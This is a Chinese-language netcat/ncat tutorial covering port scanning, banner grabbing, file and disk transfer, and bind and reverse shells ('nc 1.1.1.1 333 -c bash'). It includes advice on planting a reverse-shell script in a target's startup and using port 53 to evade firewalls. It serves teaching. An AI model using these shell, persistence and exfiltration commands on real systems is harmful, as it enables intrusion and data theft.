netcat 簡(jiǎn)稱 nc,安全界叫它瑞士軍刀。ncat 也會(huì)順便介紹,彌補(bǔ)了 nc 的不足,被叫做 21 世紀(jì)的瑞士軍刀。nc 的基本功能如下:
首先還是通過(guò)-h來(lái)查看使用說(shuō)明:
nc -h
其中有兩個(gè)參數(shù)用得比較多,v 參數(shù)就是列出執(zhí)行過(guò)程的詳細(xì)信息,n 參數(shù)翻譯過(guò)來(lái)就是僅接收 ip 地址,沒(méi)有 dns。之所以使用 n 參數(shù),是因?yàn)槭褂妹畹倪^(guò)程中只去傳入 ip,減少了 nc 把域名解析為 ip 的過(guò)程,這樣可以節(jié)省時(shí)間提高效率。
nc 用來(lái)進(jìn)行端口掃描的命令是 nc -nvz ip 地址 端口號(hào),z參數(shù)從幫助說(shuō)明里翻譯過(guò)來(lái)差不多是“不進(jìn)行 i/o,用來(lái)掃描”的意思,可以理解成僅僅是去 ping 去探測(cè)目標(biāo)是否開啟指定端口,不進(jìn)行任何的交互。
被掃描端口處于打開狀態(tài)
被掃描端口處于關(guān)閉狀態(tài)
z 參數(shù)默認(rèn)掃描的是 tcp 類型,如果需要掃描 udp,則需要使用一個(gè)新參數(shù) u。
每一個(gè)掃描器的掃描結(jié)果都不一定準(zhǔn)確,最好多使用幾款掃描器對(duì)目標(biāo)進(jìn)行掃描,綜合結(jié)果進(jìn)行判斷,會(huì)相對(duì)更準(zhǔn)確一些。
telnet使用率大不如以前了,基本被ssh取代了,最大的弊端在于其明文傳輸。nc 也是明文方式傳輸?shù)臄?shù)據(jù),所以后續(xù)需要使用nmap下的ncat工具來(lái)結(jié)合一下,彌補(bǔ)其不足。nc 在這里可以獲取服務(wù)器banner信息。用163郵箱服務(wù)器作為例子:
nc -nv 123.126.97.79 110
后面還可以通過(guò)傳遞USER、PASSWARD進(jìn)行登錄,但是傳遞的賬戶名和密碼都是需要加密過(guò)的,不能直接傳明文,這里不再展開。
根據(jù)返回的信息可以知道,其使用的是 coremail 郵件系統(tǒng)。
nc 可以在兩臺(tái)機(jī)器之間相互傳遞信息,首先需要有一臺(tái)機(jī)器進(jìn)行監(jiān)聽一個(gè)端口,另一臺(tái)以連接的方式去連接其指定的端口,這樣兩臺(tái)機(jī)器之間建立了通信后,相互之間可以傳輸信息。l(小寫)參數(shù)是監(jiān)聽模式的意思,p參數(shù)是指定一個(gè)端口。
文本傳輸
這種相互傳輸信息和滲透之間的關(guān)系是,電子取證的時(shí)候可以用。當(dāng)機(jī)器被攻擊后,為了不破壞現(xiàn)場(chǎng),需要提出大量的信息和文件出來(lái)做分析,這時(shí)候可以用 nc 的這個(gè)機(jī)制,例如,需要一個(gè)命令的輸出信息,首先自己機(jī)器上監(jiān)聽一個(gè)端口,隨后在被攻擊的機(jī)器上執(zhí)行相關(guān)的命令,然后以管道給 nc,指定自己機(jī)器的地址和端口,這樣輸出結(jié)果就會(huì)到自己機(jī)器上,如下圖:
ll的執(zhí)行結(jié)果傳輸給了目標(biāo)機(jī)器
如果輸出內(nèi)容過(guò)多,則可以將內(nèi)容定向輸出到文件中:
將接收結(jié)果存到ll.txt
ll.txt存入的內(nèi)容
這里再介紹一個(gè)參數(shù)q,作用是傳輸完以后等待指定時(shí)間自動(dòng)斷開。
-q的作用
傳輸文件和目錄的這些功能,其實(shí)和文本信息傳輸類似,只不過(guò)是把文本信息換成了文件和目錄。首先用一臺(tái)機(jī)器監(jiān)聽一個(gè)端口,如果有人連接并傳來(lái)信息時(shí),則將信息使用 > 重定向到文件。另一臺(tái)機(jī)器連接目標(biāo)指定端口然后通過(guò) < 輸出要傳送的文件即可。
傳輸文件:
B向A傳輸一個(gè)mp3文件
A: nc -lp 333 > 1.mp3
B: nc -nv 1.1.1.1 333 < 1.mp3
A向B傳輸一個(gè)mp3文件
A: nc -q 1 -lp 333 < a.mp3
B: nc -nv 1.1.1.1 333 > a.pm3
文件格式?jīng)]什么限制,只要源文件和接收文件格式一致就行。
傳輸目錄:
tar是打包解包工具,不會(huì)使用的可以查一下使用說(shuō)明
A打包指定的文件夾,打包后的文件傳給請(qǐng)求方,music前面的-是代表打包后的文件名的,但是這里直接傳輸了,有沒(méi)有具體文件名都可以
B請(qǐng)求目標(biāo)地址端口,將返回的內(nèi)容解包
A: tar -cvf - music/ | nc -lp 333 -q 1
B: nc -nv 1.1.1.1 333 | tar -xvf -
加密傳輸文件需要使用 mcrypt 庫(kù),linux 系統(tǒng)默認(rèn)是沒(méi)有安裝的,需要手動(dòng)安裝。使用和傳輸文件類似,只需要在傳輸文件時(shí)使用 mcrypt 加密即可。
mcrypt --help
具體使用:
接收端:
nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3
發(fā)送端:
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1
命令用到的參數(shù)有,--flush 立即沖洗輸出,-F 輸出數(shù)據(jù),-b 不保留算法信息,-q 關(guān)閉一些不是嚴(yán)重的警告,-d 解密,首先在接收端監(jiān)聽一個(gè)端口,等待另一臺(tái)進(jìn)行連接傳送文件,隨后在要傳送的機(jī)器上把要傳送的文件進(jìn)行加密使用 nc 連接指定的地址和 ip。
發(fā)送端第一次需要輸入加密的密碼,然后回車再次確認(rèn)密碼,接收端輸入相應(yīng)的密碼就會(huì)收到傳輸?shù)奈募?/p>
實(shí)現(xiàn)方式如下:
正向:
被控制端:
nc -lp 333 -c bash
控制端
nc 1.1.1.1 333
反向:
控制端:
nc -lp 333
被控制端:
nc 1.1.1.1 333 -c bash
簡(jiǎn)單總結(jié)就是誰(shuí)輸-c,誰(shuí)就被控制
原理和傳輸文件一樣,只不過(guò)傳輸?shù)氖?bash,windows 系統(tǒng)是 cmd,正向是被控制機(jī)器主動(dòng)指定 bash,然后通過(guò)別人連接自己的端口,別人連接自己后,執(zhí)行的命令就是被控制的機(jī)器。反向就是控制端指定bash,連接被控制端后,指定命令的還是被控制的機(jī)器。
通常情況下,一般的服務(wù)器都會(huì)有防火墻,很少會(huì)允許其他外在的機(jī)器來(lái)連接自己的某一個(gè)端口,只有某些指定端口可能會(huì)允許訪問(wèn),例如 web 服務(wù)的 80 端口。這時(shí)正向的 shell 就不起作用了,而防火墻一般都會(huì)禁止外在機(jī)器來(lái)連接自己機(jī)器的其他端口,但自己的機(jī)器訪問(wèn)外面的端口一般不會(huì)做限制,這時(shí)候就可以使用反向 shell,也就是攻擊者給自己的機(jī)器開一個(gè)端口,讓目標(biāo)服務(wù)器來(lái)連自己,并提供bash。為了達(dá)到這個(gè)目的,可以寫一個(gè)腳本放到目標(biāo)服務(wù)器的開機(jī)啟動(dòng)中,只要目標(biāo)服務(wù)器運(yùn)行就會(huì)連接自己。
當(dāng)然,有些管理員安全意識(shí)比較好的話,也會(huì)限制自己的服務(wù)器訪問(wèn)外在的一些端口,這種情況很少見(jiàn),但也有,這時(shí)可以指定常用的端口,例如服務(wù)器要使用 dns 服務(wù)的 53 端口,這時(shí)候自己就可以監(jiān)聽 53 讓目標(biāo)服務(wù)器來(lái)連接自己。
具體實(shí)現(xiàn)方式:
服務(wù)端:
cat 1.mp4 | nc -lp 333
客戶端:
nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -
其中mplayer在有些Linux中是沒(méi)有默認(rèn)安裝的,如果沒(méi)有就手動(dòng)安裝一下。
mplayer -h
其中vo參數(shù)是選擇驅(qū)動(dòng)程序,cache參數(shù)的意思是每秒要接收的播放幀。
我們都知道文件刪除的原理,在不格式化的情況下,刪除文件后是可以通過(guò)一些手段還原回來(lái)的,所以在遠(yuǎn)程電子取證時(shí),遠(yuǎn)程克隆硬盤就顯得很有作用了。
具體使用時(shí)需要借助命令dd,首先通過(guò)nc監(jiān)聽一個(gè)端口,然后通過(guò)dd指定要克隆的分區(qū),dd的of參數(shù)相當(dāng)于一個(gè)復(fù)制功能,然后在另一臺(tái)機(jī)器通過(guò)nc連接此端口,dd的if參數(shù)相當(dāng)于粘貼的命令。
接收端:
nc -lp 333 | dd of=/dev/sda
被復(fù)制端:
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
nc 也有不足之處,首先就是明文傳輸,可能會(huì)被嗅探。其次對(duì)于反向shell,如果其他人通過(guò)網(wǎng)絡(luò)掃描發(fā)現(xiàn)了這個(gè)端口,也就意味著任何人都可以去監(jiān)聽這個(gè)端口進(jìn)行連接,缺乏身份驗(yàn)證功能。
ncat則彌補(bǔ)了這些缺點(diǎn),ncat不是linux系統(tǒng)自帶的命令,而是nmap中的。ncat的使用參數(shù)很多和nc是一樣的,可以通過(guò)--alow參數(shù)來(lái)指定允許連接的機(jī)器,通過(guò)--ssl進(jìn)行數(shù)據(jù)的加密。
被控制端:
ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl
控制端:
ncat -nv 1.1.1.1 333 --ssl
通過(guò)allow參數(shù)即可指定允許連接的機(jī)器,這時(shí)如果其他人即使掃描到了這個(gè)端口也無(wú)法進(jìn)行連接。
Netcat 是一款簡(jiǎn)單的 Unix 工具,使用 UDP 和 TCP 協(xié)議。 它是一個(gè)可靠的容易被其他程序所啟用的后臺(tái)操作工具,同時(shí)它也被用作網(wǎng)絡(luò)的測(cè)試工具或黑客工具。 使用它你可以輕易的建立任何連接。內(nèi)建有很多實(shí)用的工具。
https://eternallybored.org/misc/netcat/下載安裝包netcat-win32-1.12.zip,windows下配置好path環(huán)境,則可以在windows環(huán)境下使用nc指令。、
在linux機(jī)器中下載rpm包并安裝
sudo rpm -ivh nc-1.84-22.el6.x86_64.rpm
如下圖使用nc命令連接TCP
nc 127.0.0.1 29129
如下圖使用nc命令連接TCP
nc -u 127.0.0.1 29129
使用nc作為服務(wù)端啟動(dòng)監(jiān)聽,可以通過(guò) netstat -aon | findstr 29229 查看是否建立監(jiān)聽
nc -ul -p 29229
其中
使用nc作為服務(wù)端啟動(dòng)監(jiān)聽
nc -l -p 29229
向服務(wù)端發(fā)送指定文檔
nc -u 127.0.0.1 8080 < ab.json
c傳輸文件和目錄,客戶端向服務(wù)端傳遞
nc -l 9995 > out.json #啟動(dòng)服務(wù)在9995端口監(jiān)聽,并將收到數(shù)據(jù)寫入out.json
nc 10.0.1.162 9995 < in.json #連接服務(wù)端寫入in.json數(shù)據(jù)
nc傳輸文件和目錄,服務(wù)端向客戶端傳遞
nc -l 9992 < test.mv #啟動(dòng)服務(wù)在9992端口監(jiān)聽,并準(zhǔn)備寫入test.mv
nc 10.0.1.162 9992 >test2.mv #連接服務(wù)端寫入,并將接收到數(shù)據(jù)寫入test2.mv